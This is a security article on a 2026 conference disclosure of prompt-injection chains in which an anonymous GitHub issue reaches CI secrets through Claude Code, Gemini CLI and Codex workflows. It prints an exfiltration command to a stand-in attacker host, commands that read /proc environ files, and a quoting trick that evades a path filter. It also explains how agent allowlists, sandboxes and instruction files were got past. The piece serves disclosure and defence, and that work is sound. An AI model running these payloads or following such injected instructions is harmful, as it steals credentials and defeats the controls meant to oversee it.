The Harness Is the Vulnerability: One GitHub Issue, Three Coding Agents, Zero Privileges

The Harness Is the Vulnerability: One GitHub Issue, Three Coding Agents, Zero Privileges

At Black Hat USA 2026 on August 5, security researcher Elad Meged of Novee Security stood up and described an attack that required exactly one thing: typing text into a web form. A GitHub issue, opened by an anonymous account with no repository privileges, was enough to reach CI runner secrets on the vendor’s own repository — and he did it three times, against all three major coding agents. Claude Code, Gemini CLI, and OpenAI Codex, each running in their default configuration on the vendor’s own repo (CSA Labs research note, 2026-08-08).

The attacks were not prompt-injection magic. They were harness failures: git push --receive-pack running a payload the validator never saw, an allowlist that was decorative, a download counter leaking an API key one character at a time, and an instruction file that made a “safe” second pass execute an attacker’s standing orders. In every case the underlying model behaved exactly as trained.

The harness is the code between the model and the real world

Novee’s framing is the whole story in one line: an agent is a model plus a harness. The harness is everything around the model’s intent — tools, permissions, execution, sandboxing, routing, memory, observability — and it is code, which means it has vulnerabilities. Claude Code is a harness. Gemini CLI is a harness. Codex is a harness. Every custom agent your company has built is a harness (Novee Security blog).

The researchers deliberately tested the vendors on their own turf: the vendor’s own agent, on the vendor’s own repository, running the vendor’s own default workflow. When a coding agent is wired into CI/CD so that an issue, a pull request, or a comment triggers it, the automation has implicitly decided that anyone on the internet can feed instructions to a privileged process. Removing the human from the loop also removes the checkpoint that would have caught an untrusted request before it reached a privileged execution environment (CSA Labs).

Claude Code: three rounds of patch and bypass, ending in CVE-2026-54316

Anthropic’s Claude Code Action in its default “tag mode” approves Bash commands by prefix match — Bash(git push:*) approves anything starting with git push — and runs every command through a 23-check validation pipeline (Novee). Round one was a mismatch between what the validator sees and what the shell executes. To avoid false positives, the pipeline’s preprocessor strips single-quoted content before the checks run — correct behavior for bash, where quoted text is literal. But git reads the value of its own flags:

# what the injected instruction makes Claude run:
git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64 -w0)"' origin HEAD

# what the 23 checks see after quoted content is stripped:
git push --receive-pack= origin HEAD
#                       ^ a flag with an empty value — nothing dangerous

# what git actually does: --receive-pack is a command-execution flag, so it runs the value → RCE

The wildcard rule matched, the injection checks saw an empty value, and git executed the payload. On anthropics/claude-code itself, the result was arbitrary code execution and exfiltration of GITHUB_TOKEN and the workflow’s Anthropic API key. The token carried contents: write — enough to rewrite .github/workflows/ and plant a backdoor that outlives the job (Novee).

Round two: Anthropic took away arbitrary Bash, but a hardcoded classification in the binary, BashTool.isReadOnly, auto-approved a set of “read-only” commands — and five of them (tac, rev, fold, expand, unexpand) were missing from the separate path-checked list. tac /etc/hosts reads any file on the runner while cat /etc/hosts is blocked. The dedicated /proc/*/environ guard was defeated with bash quoting semantics: rev /proc/self/enviro""n contains no literal environ for the regex, but bash reads the same file. And the exfiltration channel was the vendor’s own reporting feature: with display_report: true on by default, reversed secrets landed in the public GitHub Actions step summary, where GitHub’s secret masking doesn’t match reversed strings (Novee).

Round three is the one that got the CVE. huggingface.co was pre-approved as a bare hostname for Claude Code’s WebFetch tool — any path on the domain, including attacker-controlled model repositories, was auto-approved without a permission prompt and without being subject to --allowedTools restrictions. WebFetch is GET-only, so there’s no upload; instead, Novee turned a public metric into an exfiltration oracle: create 64 model repositories, one per possible character of an API key, have the agent fetch each candidate’s config.json, and watch which public download counter increments. One character at a time, through a read-only GET, a full API key walked out of the runner (GHSA-fg94-h982-f3mm, NVD CVE-2026-54316).

That finding is CVE-2026-54316, affecting Claude Code 0.2.54 through 2.1.162 and fixed in 2.1.163. It also carries one of the more instructive scoring fights in recent memory: GitHub’s CNA rated it 6.0 Moderate under CVSS v4 (attack requirements present, passive user interaction), while NVD’s independent assessment under CVSS v3.1 scored it 9.1 Critical — a divergence about how much the precondition (getting untrusted content into a Claude Code context) should discount the score (NVD, CSA Labs). Anthropic’s own security documentation for the action concedes the deeper point: its content sanitizer can be bypassed, new bypass techniques will keep emerging, and operators should review raw untrusted input rather than rely on the sanitizer as the sole control (claude-code-action docs/security.md).

Gemini CLI: two collapsed assumptions, a CVSS 10.0, and a breaking change

Google’s Gemini CLI took a structurally different approach: process isolation instead of permission rules. The result was CVE-2026-12537 / GHSA-wpqr-6v78-jr5g, rated 10.0 Critical by Google itself — the maximum score, for a tool with roughly two million monthly installs downstream (Novee). Two assumptions each held in isolation and collapsed together:

  1. Headless workspace trust. In CI (headless, non-interactive) mode, Gemini CLI automatically trusted the workspace folder and loaded its configuration — including a .env file inside a repo’s .gemini/ directory — without the explicit trust step interactive use requires. An attacker-controlled repo file gets loaded as configuration.
  2. A decorative allowlist. The coreTools restriction, e.g. run_shell_command(echo), was prefix-matched at registration"run_shell_command(echo)".startsWith("run_shell_command(") registers the full, unrestricted ShellTool — and the (echo) annotation was never parsed, stored, or enforced. At execution time, shell.ts checked only that the command wasn’t empty and the path was allowed. Under --yolo mode, every tool call was auto-approved (Novee).

The isolation story was the same shape. sanitizeEnvironment scrubbed secrets from the child process before spawning it — and it worked exactly as documented. But the parent process kept every secret, and parent and child shared a UID and a PID namespace with no hidepid:

cat /proc/$PPID/environ | tr '\0' '\n'
# GITHUB_TOKEN=...   leaked
# GEMINI_API_KEY=... leaked

Nothing was deleted; a copy was filtered. They called the architecture process isolation, but what shipped was environmental sanitization — and the gap between those two words was the entire finding (Novee). Google fixed it in @google/gemini-cli 0.39.1 (and 0.40.0-preview.3) and run-gemini-cli 0.1.22, describing the change as “a breaking change to how non-interactive headless environments handle folder trust” — the kind of response a vendor ships when the flawed assumption lives in the architecture itself (GHSA-wpqr-6v78-jr5g). The finding was independently reported by both Meged and Dan Lisichkin of Pillar Security through Google’s VRP (GHSA credits).

Codex: no CVE, because the sandbox behaved as documented

OpenAI’s case is the one that should keep you up at night, because there is nothing to patch. OpenAI’s own issue-deduplicator workflow ran Codex twice in the same job — two passes, one shared checkout, one workspace. Codex’s default sandbox is workspace-write, and its own protection logic carves .git/, .agents/, and .codex/ out of the writable root and marks them read-only — because a write to any of them changes how the agent behaves on the next run (Novee).

The file they forgot is AGENTS.md — Codex’s own default instruction file, loaded from disk and injected as authoritative instructions on every codex exec, in the same class as .codex/config.toml, which they did protect. It’s a file, not a directory, and it sits in the open workspace, writable.

The chain is a masterclass in where trust actually lives:

  1. The injected instruction diverts Pass 1, which uses its workspace-write access to write AGENTS.md.
  2. Pass 1’s answer fails the output schema validation. normalize-all correctly sets has_matches=false.
  3. That failure is exactly what launches Pass 2.
  4. Pass 2 is a fresh codex exec in the same directory — so it loads the attacker’s AGENTS.md as its own instructions.

The workflow validated the output. The attacker wrote the instructions. Persistence never travelled through the data path at all; it went through the filesystem, underneath it. And here is the inversion at the heart of the design: because Pass 2 is the “safe” pass that never touched the attacker’s text, it’s the pass you hand the token, the write permission, the deploy key — every capability you grant it on the strength of that check is granted to whoever wrote AGENTS.md (Novee).

OpenAI’s position was that this is documented, intended sandbox behavior, not a defect — so no CVE was assigned. They hardened openai/codex’s own workflows within days (passes split into separate jobs with independent checkouts, later a read-only sandbox and drop-sudo throughout), but because the finding was classified as by-design, there is no advisory, no version number, and no notification mechanism for the organizations running the same multi-pass pattern (CSA Labs, Novee). The copy running in your pipeline is not going to patch itself.

A pattern, not three isolated bugs

None of this was a misconfiguration. These were the reference configurations the vendors ship and run themselves. Novee found functionally identical setups on well over a hundred public repositories (114 in their scan), triggerable the same way: a stranger opens an issue, the workflow fires, the agent runs, no privileges, nothing to click (Novee, CSA Labs). CISA’s exploit-tracking data showed no confirmed active exploitation of either CVE as of the disclosure date — but the design pattern is the exposure, and the pattern is everywhere.

The same structural conclusion arrived from a different angle in Adversa AI’s GuardFall research: ten of eleven tested open-source coding agents used command guards that inspect commands as plain strings while the shell that actually executes them rewrites those commands first — a mismatch between what the guard sees and what the system runs that incremental denylist tuning has failed to close (Adversa AI, CSA Labs). Pattern-based, string-level validation is structurally inadequate for agents that hand commands to a real shell. Within days of the disclosure, Google also removed three of its own Agent Development Kit workflows (issue-analyze.yml, issue-fix.yml, pr-analyze.yml) after researchers showed a trusted-bot content manipulation gap could unlock a second, credentialed workflow — the same trusted-identity-without-provenance-checking failure, one codebase over (CSA Labs).

Every fix these vendors shipped was correct, and every fix pushed the boundary onto the next hidden assumption: from a reverse shell, to a reversed secret in a public log, to a download counter. That is what it looks like when the trust decisions are compiled into the product rather than owned by the operator.

What operators should change

  • Treat every file a workflow writes as an untrusted input surface — and every workflow as triggerable by strangers. Issue bodies, PR descriptions, comments, AGENTS.md, CLAUDE.md, .env, repo files an agent auto-loads: all of it is hostile until proven otherwise. Audit which of your workflows can be triggered by an outside contributor opening an issue (CSA Labs).
  • Enforce allowlists at execution time, not registration. A prefix match that approves at registration but never re-checks at runtime is decoration. Ask your vendor whether command validation runs on the raw string the model produces or on the fully normalized, post-expansion command the shell will actually execute — only the latter catches this class (CSA Labs).
  • Never share a workspace between agent passes. Multi-pass with a shared checkout means one pass’s output becomes the next pass’s instructions. Split passes into separate jobs with clean checkouts, or run any pass that consumes another pass’s output in a read-only sandbox (CSA Labs).
  • Treat approved domains like firewall rules. An “approved domain” for legitimate reads doubles as an exfiltration channel the moment an attacker controls what the agent sends to it — as huggingface.co did (CSA Labs).
  • Credentials: short-lived and narrow, or the chain stops at nothing. Replace long-lived PATs with short-lived, narrowly scoped tokens; rotate any secret that ran in a vulnerable configuration. And if a job’s GITHUB_TOKEN has contents: write or packages: write, assume the issue triage agent is a supply-chain primitive (CSA Labs, Novee).
  • Update. Claude Code ≥ 2.1.163 closes CVE-2026-54316; Gemini CLI ≥ 0.39.1 (or 0.40.0-preview.3) and run-gemini-cli ≥ 0.1.22 close CVE-2026-12537 — and the Gemini fix is a breaking trust-model change, so test your headless workflows after upgrading (GHSA-fg94-h982-f3mm, GHSA-wpqr-6v78-jr5g).

The uncomfortable truth is that none of this is about the model. Base-model safety training prevented none of these three outcomes — the exploitable gap sat in the surrounding integration code in every case. When you deploy an agent, you embed another codebase into your infrastructure and inherit every assumption its developers made, including the ones never written down and never made configurable (Novee). The model decides what it wants to do. The harness decides what it’s allowed to do — and until the harness is treated as the trust boundary it is, a stranger with a web form is all the attacker you need.

Sources

Keep reading